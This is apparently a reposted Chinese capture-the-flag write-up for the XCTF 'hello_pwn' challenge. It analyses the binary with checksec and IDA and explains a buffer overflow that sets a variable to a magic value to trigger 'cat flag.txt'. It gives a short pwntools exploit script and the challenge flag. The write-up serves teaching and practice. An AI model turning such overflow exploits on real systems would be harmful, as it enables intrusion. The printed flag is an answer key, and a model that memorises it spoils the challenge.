XCTF:hello_pwn[WriteUP]

2024-01-15 05:44
文章标签 hello pwn writeup xctf

本文主要是介绍XCTF:hello_pwn[WriteUP],希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

使用checksec查看ELF文件信息

checksec 4f2f44c9471d4dc2b59768779e378282

这里只需要注意两个重点:

Arch:64bit的文件,后面写exp的重点

Stack:No canary found 没有栈溢出保护


使用IDA对ELF文件进行反汇编

双击左侧的函数栏中的main函数

再按F5,对main函数进行反汇编

获得C的伪代码:

__int64 __fastcall main(int a1, char **a2, char **a3)
{alarm(0x3Cu);setbuf(stdout, 0LL);puts("~~ welcome to ctf ~~     ");puts("lets get helloworld for bof");read(0, &unk_601068, 0x10uLL);if ( dword_60106C == 1853186401 )sub_400686();return 0LL;
}

 代码分析

 双击sub_400686函数,查看具体执行动作

如图:

这个函数的作用就是运行系统命令 cat

查看当前目录的flag.txt内容

思路很明显,只要想办法使得dword_60106C == 1853186401就能查看flag


 双击变量dword_60106C

发现read函数中的unk_601068正好在dword_60106C的后第4个字节

PS:read(0, &unk_601068, 0x10uLL);

 在cmd启动python也可以把地址扔进去相减

计算一下字节长度也是一样的算出来四个字节


思路

解题方法很明显了,往read函数里扔4个字节的数据

使stack栈溢出,字节数正好到dword_60106C的位置

再传入64bit的1853186401整型数就可以了


EXP

把IP地址和端口号,换成题目给的

保存为test.py,然后运行一下

from pwn import *payload = b'a'*4 + p64(1853186401)
#构建字符串,使栈溢出connect=remote('IP地址',端口号)
#构建连接connect.sendline(payload)
#发送字符串connect.interactive()
#开启shell交互,接收回返信息

直接就输出了flag

 


cyberpeace{791d122847943b51a06f5cbe52a37b6b}

这篇关于XCTF:hello_pwn[WriteUP]的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/607838

相关文章

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

【Spring boot】编写代码及测试用例入门之 Hello Spring boot _踩坑记

先贴下目录: 这是我从 start.spring.io 里下载的依赖Web的模板 // DemoApplication.javapackage com.abloume.springboot.blog.demo;import org.springframework.boot.SpringApplication;import org.springframework.boot.autocon

【JFinal】IDEA+maven上手JFinal之Hello World!

一、New Project 1、在 IDEA 环境下新建 Project 项目 2、选择创建 Maven 项目,并且不使用模板 3、输入 Maven 的 GroupId 和 ArtifactId 4、输入项目名称 二、将当前 Project 改为 POM 工程 将项目的 jfinal-web-demo 作为项目的 parent 工程,用于定义 maven 依赖包的版本信息、

hello,大家好。

由于最近工作变动,目前是从河北来到了广东。 顾不上写博客了,请大家谅解。 后续会慢慢的恢复正常的节奏,很感谢大家的关注。

java-在idea中antrl的hello world

java-在idea中antrl的hello world 1. 在idea中安装ANTLR V4的插件2. 下载ANTLR的jar包3. idea中创建普通的java项目4. 创建一个Hello.g4的文件5. 使用idea生产接口文件6. java创建一个类和main方法7. 调试输出8. 参考链接 1. 在idea中安装ANTLR V4的插件 路径如下,安装完成后重启ide

java-antrl手敲命令的hello world

java-antrl手敲命令的hello world 环境步骤1. 下载ANTLR的jar包2. 新建一个g4文件3. 生成语法对应的java文件4. 编译语法对应的java文件5. 测试语法5.1 打印测试信息5.2 查看语法分析树 6. 注意事项6.1 每一个antlr4版本的jar包都对应java的相应版本,要对应。6.2 [@1,6:10='parrt',<ID>,1:6]解析6.3

BUUCTF PWN wp--bjdctf_2020_babystack

第一步   checksec一下,该题是64位的,该题目大概率是一道栈溢出(因为题目里面提到了stack) 分析一下这个二进制保护机制: Arch: amd64-64-little 这表示二进制文件是为64位AMD处理器设计的,使用的是小端序(little-endian)格式。RELRO: Partial RELRO RELRO(Relocation Read-Only)是一种安全特性,旨

汇编语言输出“Hello World!“

1.软件 Nasmide64.exe(李忠老师编写) Fixvhdw64.exe(李忠老师编写) VirtualBox虚拟机(免费 开源) 2.过程 01.Fixvhdw64.exe输入以下代码: mov ax,0xb800mov ds,axmov byte [0x00],'H'mov byte [0x02],'e'mov byte [0x04],'l'mov byte [0

2024年“羊城杯”粤港澳大湾区网络安全大赛PWN 全部解析

2024年“羊城杯”粤港澳大湾区网络安全大赛PWN 全部解析 hard+sandbox:ptrace 系统调用概述: logger:pstack: [X] 🛰:ly3260344435[X] 🐧:3260344435[X] BiliBili:鱼影信息[X] 公众号:鱼影安全[X] CSDN:落寞的魚丶[X] 知识星球:中职-高职-CTF竞赛[X] 信息安全评估(

2024年“羊城杯”粤港澳大湾区网络安全大赛 初赛 Web数据安全AI 题解WriteUp

文章首发于【先知社区】:https://xz.aliyun.com/t/15442 Lyrics For You 题目描述:I have wrote some lyrics for you… 开题。 看一下前端源码,猜测有路径穿越漏洞 http://139.155.126.78:35502/lyrics?lyrics=../../../../../etc/passwd 简单看